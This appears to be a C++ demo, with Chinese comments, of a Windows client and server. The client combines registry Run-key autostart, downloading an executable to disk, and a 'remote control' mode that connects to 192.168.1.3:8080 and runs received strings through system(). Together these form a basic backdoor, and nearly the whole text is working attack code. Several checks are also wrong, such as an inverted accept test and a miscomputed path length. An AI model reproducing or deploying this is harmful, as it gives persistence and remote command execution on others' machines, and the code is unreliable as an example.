// AllInOneDemo.cpp: 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"ws2_32.lib")
BOOL SetRegKeyAutoRun(wchar_t *szKeyName, wchar_t *szPath, const int nPathLen)
{
bool bRet = false;
HKEY hKey = { 0 };
do
{
if (wcslen(szKeyName) == 0)
break;
if (wcslen(szPath) == 0)
break;
if (nPathLen <= 0)
break;
wchar_t szKeyPath[MAXBYTE] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
if (ERROR_SUCCESS != RegOpenKeyEx(HKEY_LOCAL_MACHINE, szKeyPath, 0, KEY_WRITE | KEY_WOW64_64KEY, &hKey))
break;
if (ERROR_SUCCESS != RegSetValueEx(hKey, szKeyName, 0, REG_SZ, (byte*)szPath, nPathLen))
break;
bRet = true;
} while (false);
if (hKey)
RegCloseKey(hKey);
return bRet;
}
int main(int argc,char* argv[])
{
// 1.auto run
int nInput = 0;
printf("please select the function:\r\n\t1.Auto Run \r\n\t2.DownLoad\r\n\t3.Remote Control\r\n");
scanf_s("%d", &nInput);
switch (nInput)
{
case 1:
{
wchar_t szFilePath[MAX_PATH] = { 0 };
wchar_t szName[MAXBYTE] = L"AutoRun";
int nError = GetModuleFileName(nullptr, szFilePath, MAX_PATH);
if (ERROR_SUCCESS != nError)
{
//1.the buffer is too small
//2.other reasons,GetLastError
}
if (!SetRegKeyAutoRun(szName,szFilePath,wcslen(szFilePath+1)*2))
{
printf("Modify Regester Error\r\n");
}
}
break;
case 2:
{
// 2.download
wchar_t szUrl[MAXBYTE] = L"https://qd.myapp.com/myapp/qqteam/tim/down/tim_pc.exe";
wchar_t szPath[MAX_PATH] = L"D:\\cool.exe";
if (S_OK==URLDownloadToFile(nullptr,szUrl,szPath,0,nullptr))
{
printf("Done\r\n");
}
else
{
printf("Done Error\r\n");
}
}
break;
case 3:
{
/*char szCommand[MAXBYTE] = { 0 };
while (true)
{
scanf_s("%s", szCommand);
system(szCommand);
}*/
// 3.remote control
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
if (2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion))
{
break;
}
SOCKET socketClient= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == socketClient)
{
break;
}
sockaddr_in addrServer = { 0 };
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(8080);
addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.3");
if (SOCKET_ERROR==connect(socketClient,(SOCKADDR*)&addrServer,sizeof(addrServer)))
{
break;
}
char szBuffer[MAXBYTE] = { 0 };
int nRecvLen = 0;
char szCommand[MAXBYTE] = { 0 };
while (true)
{
nRecvLen = recv(socketClient, szBuffer, MAXBYTE, 0);
if (nRecvLen>0)
{
sprintf_s(szCommand, MAXBYTE, "start %s", szBuffer);
system(szCommand);
}
}
}
break;
default:
break;
}
WSACleanup();
return 0;
}
Server端:
// Server.cpp: 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc,char* argv[])
{
bool bRet = false;
SOCKET sockServer = INVALID_SOCKET;
do
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
if (2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion))
{
break;
}
sockServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == sockServer)
{
break;
}
sockaddr_in addrServer = { 0 };
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(8080);
if (SOCKET_ERROR == bind(sockServer,(SOCKADDR*)&addrServer,sizeof(addrServer)))
{
break;
}
if (SOCKET_ERROR==listen(sockServer,SOMAXCONN))
{
break;
}
SOCKET sockClient = accept(sockServer, nullptr, nullptr);
if (INVALID_SOCKET != sockClient)
{
break;
}
char szCommand[MAXBYTE] = { 0 };
while (true)
{
printf("\r\nPlease input command\r\n");
scanf("%s", szCommand);
send(sockClient, szCommand, strlen(szCommand), 0);
}
} while (false);
WSACleanup();
return 0;
}